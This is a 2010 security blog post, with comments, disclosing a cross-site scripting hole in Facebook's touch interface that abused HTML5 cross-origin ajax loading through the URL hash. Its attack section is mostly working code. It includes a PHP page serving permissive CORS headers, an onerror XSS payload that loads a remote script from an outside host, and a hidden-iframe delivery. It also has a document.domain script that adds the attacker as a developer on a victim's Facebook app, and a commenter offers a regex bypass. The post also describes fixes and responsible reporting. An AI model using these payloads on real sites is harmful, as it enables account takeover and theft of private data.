HTML 5 does not do much to solve browser security issues. In fact it actually broadens the scope of what can be exploited, and forces developers to fix code that was once thought safe.
For example HTML5 introduces HTTP access control or Cross-Origin Resource Sharing. This allows the browser to make ajax requests cross domain. It introduces new headers so that a service can block remote sites from being able to run non authorized requests, but the client actually needs to add javascript to confirm the origin of the request.
The Exploit
Lets look at the facebook touch page touch.facebook.com (iphone web interface). There are a few things you should notice:
- If you are logged in to Facebook, you are automatically logged in to this page. Some awesome magic session lets this happen.
- If you click on any URL you see the links dont actually change the page but load them with ajax. http://touch.facebook.com/#profile.php actually loads http://touch.facebook.com/profile.php into a div on the page.
- This interface does not do any actual frame breaking only clickjacking protection, which really doesn’t matter for what we want to do.
Javascript takes everything after the hash (#profile.php) and does an ajax request. It takes the content from the ajax and loads it into a div on the page. The problem is this is not restricted to relative or local URLs. The attacker could load a remote url because of this HTML5 “feature”. Before HTML5 this would have caused an error and never loaded the content. The request is done client side, so server side param filtering (or WAF) will not help. To exploit this all we need is a PHP page with some extra headers:
http://touch.facebook.com/#http://example.com/xss.php
The Code
<?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');
// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
// Additional headers which may be sent along with the CORS request
header('Access-Control-Allow-Headers: X-Requested-With');
// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
exit();
}
?>
<!-- this div is needed to load the payload into facebook -->
<div tab="home_menu" id="feed_tabbox" onreplace="fb.updateCurrentPage()">
<img style="display:none" src="x" onerror="alert('xss')" />
</div>
Because the content of our payload is set with “innerHTML” we can’t just plug in a <script> tag and expect it to work, but other events will fire. In this example we simply make an image with a bad src and an onerror handle.
Now we can load a remote script to do the work for us:
onerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"
Because facebook does not bust out of this frame we can simply place the xss in a hidden iframe on an evil site.
<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>
Now when a user views the evil site the hacker has full control over touch.facebook.com. The attacker can:
- Know who you are
- See your photos
- Read messages
- Read sent messages
- Send messages
- Read most private data (e-mail, phone, friends)
- Add friends
- Post comments
But lets assume that’s not enough. What if we need access to facebook.com for some reason. Maybe we want to take over a facebook app owned by the user.
For this we are going to use: “document.domain”. Because http://touch.facebook.com is a sub-domain of http://facebook.com in our javascript/xss we can define document.domain on touch to be facebook.com. This will allow us to talk directly to facebook.com
// this is for the iframe to facebook.com
document.domain = 'facebook.com'
uid = 501558012;
app_id = 123456789012332;
function Image(){
// this should kill the click jacking report
}
// create a new iframe we will use to load facebook.com
var tempIFrame=document.createElement('iframe');
tempIFrame.setAttribute('id','RSIFrame');
// attach the iframe to the page
IFrameObj = document.body.appendChild(tempIFrame);
//once its loaded create a new form element and post the form
IFrameObj.onload = function(){
doc = IFrameObj.contentWindow.document;
IFrameObj.contentWindow.onbeforeleavehooks = [];
new_element = doc.createElement("input");
new_element.setAttribute("type", "hidden");
new_element.setAttribute("name", "new_dev_friends[]");
new_element.setAttribute("id", "new_dev_friends_"+uid);
new_element.setAttribute("value", uid);
doc.forms['editapp'].appendChild(new_element);
doc.forms['editapp'].submit();
}
// load the iframe
IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id='+app_id
This was all done client side. Ajax loaded the payload then we used DOM to load the iframe for the rest of the exploit. The hash part of the url is not sent to the server making it almost impossible for facebook to know what was exploited.
The Fix
Facebook could simply force all urls to be relative to the base url by adding ‘/’ to the front of all requests before sending ajax.
Also the XHR now supports an origin attribute from the request, so facebook could check that the origin matches facebook.com before loading in the content.
Things to Note
Facebook is not alone in this exploit, I have notified other sites and jquery libraries which suffer from this same attack.
Cross-Origin Resource Sharing is currently available in Firefox 3.5, Safari 4, and Google Chrome 2. IE8 supports CORS with the XDomainRequest function instead of the existing XMLHttpRequest.
UPDATE: This issue was reported on 7/13 resolved by facebook on 7/14 (amazingly fast and unexpected response time!)

10 Comments
> Facebook could simply force all urls to be relative to the base url by adding ‘/’ to the front of all requests before sending ajax.
That doesn’t help, since you can leave out the scheme part of the URL.
#/example.com/xss.php
This is actually not true with ajax “/example.com/xss.php” would assume a relative path: http://touch.facebook.com/www.google.com
Facebook for a fix uses the Regex:
/^\/?\w+(\/\w+)*\.php\??/currently to block the exploit.Therefor we could do something like: http://touch.facebook.com/#/x.php.example.com/xss.php which dose pass the check, but the browser does a relative request to: http://touch.facebook.com/x.php.example.com/xss.php
You suggested prepending a / to the front, making it //example.org/xss.php, which would resolve to http://example.org/xss.php, thus not solving the problem. However it seems Facebook didn’t follow your suggestion to prepend a slash.
hi
this regex check is done on the client, right? a manipulation of the script would bypass this check. of course you are not able to manipulate it without an xss, but with a proxy like burp you actually could.
Great find. I saw something like this couple of weeks ago and I was worried how javascript is populating my friend list on some other domain without asking me !!!
it was very interesting to read.
I want to quote your post in my blog. It can?
And you et an account on Twitter?
Keep posting stuff like this i really like it
it was very interesting to read m-austin.com
I want to quote your post in my blog. It can?
And you et an account on Twitter?
Hi I find this article is really interesting and it really help me on my html research. However did FB really fix this problem or just ‘temporary fixing it’ by blocking it?
Do you have the link of the case that facebook actually take action to this attack?
I would like to exchange links with your site m-austin.com
Is this possible?
8 Trackbacks
[...] This post was mentioned on Twitter by nexus11, Andrew Pantyukhin and Samy Kamkar, Matt Austin. Matt Austin said: Hacking Facebook with HTML5: http://bit.ly/bYMzLR [...]
[...] This post was Twitted by theharmonyguy [...]
[...] Hacking Facebook with HTML5 | m-austin.com (tags: html5 security) This entry was posted on Wednesday, July 21st, 2010 at 8:06 pm and is filed under Uncategorized. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site. « links for 2010-07-19 [...]
[...] be the primary defense. I hope there is eventually a "Click-To-HTML5" product available. Hacking Facebook with HTML5 | m-austin.com How HTML 5 Geolocation could be exploited | Jordan Hall HTML5 causes security concerns – Feature [...]
[...] Hacking Facebook with HTML5 [...]
[...] A similar issue to the one above was found way back in July 2010 and was used to exploit a facebook.com sub-domain. For more information on that particular issue I suggest you read Matt Austin’s blog post about it, as it captures the issue perfectly http://m-austin.com/blog/?p=19. [...]
[...] the possibilities for their promised Facebook attack in November 2011.Matt Austin pointed out one such weakness on his hacking site back in July, explaining how easy it was to access private data on Facebook by [...]
[...] HTML5 security issues and how to use the best parctices in order to avoid them. Few examples where, Hacking Facebook with HTML5 using Cross-Origin Resource Sharing. Other good points were about web sockets (open ports that [...]